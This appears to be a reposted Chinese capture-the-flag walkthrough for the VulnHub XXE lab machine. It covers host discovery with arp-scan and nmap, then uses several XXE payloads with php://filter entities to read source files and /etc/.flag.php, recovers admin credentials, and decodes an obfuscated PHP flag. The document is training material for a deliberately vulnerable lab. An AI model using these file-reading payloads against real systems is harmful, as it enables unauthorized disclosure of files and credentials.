靶场复现 | vulhub-XXE

admin 2024年2月18日23:08:14评论11 views字数 2738阅读9分7秒阅读模式
靶场复现 | vulhub-XXE
01 靶机安装
靶场复现 | vulhub-XXE
靶机下载地址:
https: //download.vulnhub.com/xxe/XXE.zip
如上地址直接拿到浏览器上,就可以进行靶机下载,下载后的文件夹如下所示:
靶场复现 | vulhub-XXE
直接打开虚拟机: 
靶场复现 | vulhub-XXE
靶场复现 | vulhub-XXE
最后使用虚拟机打开(打开的文件在新建虚拟机路径下面)  
靶场复现 | vulhub-XXE
02 信息收集
靶场复现 | vulhub-XXE

已知环境:

kaliIP:192.168.168.128(作为攻击机)XXE靶机未知
靶场复现 | vulhub-XXE

1.探测局域网主机

方法一:探测全部,排除选择
arp-scan -l
我们选192.168.168.129
靶场复现 | vulhub-XXE
方法二:使用nmap工具,对比MAC地址
靶场复现 | vulhub-XXE
nmap 192.168.168.100-199(探测192.168.93.100到192.168.93.199之中的所有主机)
靶场复现 | vulhub-XXE
nmap -sA 192.168.168.0/24(探测0-24网段端口和服务)
对比mac地址成功!
靶场复现 | vulhub-XXE
结果:XXE靶机:192.168.168.129
由上图可以看出,XXE开放了80号端口,http协议端口开放,说明有web站点,访问192.168.168.129,结果如下所示: 
靶场复现 | vulhub-XXE

2. 信息收集

对于一个已知道的站点,第一步肯定是扫描,机器有御剑,AWVS,还可以使用burpsuit爬取网页结构等等,这里直接说信息收集的结果:
发现robots.txt文件,地址
http://192.168.168.129/robots.txt
具体结果如下:
靶场复现 | vulhub-XXE
靶场复现 | vulhub-XXE
03 解题
靶场复现 | vulhub-XXE
由上一步的信息收集我们可以知道,该网站有如下两个目录:
http://192.168.168.129/xxe/admin.phphttp://192.168.168.129/xxe/
先进入http://192.168.168.129/xxe/;尝试登录并抓包:
靶场复现 | vulhub-XXE
POC如下所示:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">]><root><name>&admin;</name><password>admin</password></root>
进入重放模块,使用POC进行分析: 
靶场复现 | vulhub-XXE
进行base64解码;
靶场复现 | vulhub-XXE
   继续MD5解码:
靶场复现 | vulhub-XXE
解码结果分析可得用户名和密码:
administhebest / admin@123
进行登录
http://192.168.168.129/xxe/admin.php
靶场复现 | vulhub-XXE
发现Flag.php,点击查看
发现新文件flagmeout.php
靶场复现 | vulhub-XXE
在burp中读取文件:
读取flagmeout.php文件的POC如下所示:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php">]><root><name>&admin;</name><password>admin</password></root>
靶场复现 | vulhub-XXE
base64解码结果如下所示: 
靶场复现 | vulhub-XXE
<?php$flag = "";echo $flag;?>JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
对JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5进行base32解码后再进行base64解码后的结果为
/etc/.flag.php
然后读取/etc/.flag.php中的内容,POC如下所示:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">]><root><name>&admin;</name><password>admin</password></root>
靶场复现 | vulhub-XXE
其中内容解码结果如下所示,直接PHP运行得到结果:
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);
创建1.php
靶场复现 | vulhub-XXE
记得添加结构:
<?php ?>
靶场复现 | vulhub-XXE
本地访问:出现空白或者报错页面。
靶场复现 | vulhub-XXE
成功!!!

原文始发于微信公众号(小木说安全):靶场复现 | vulhub-XXE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月18日23:08:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场复现 | vulhub-XXEhttp://cn-sec.com/archives/2266895.html

发表评论

匿名网友 填写信息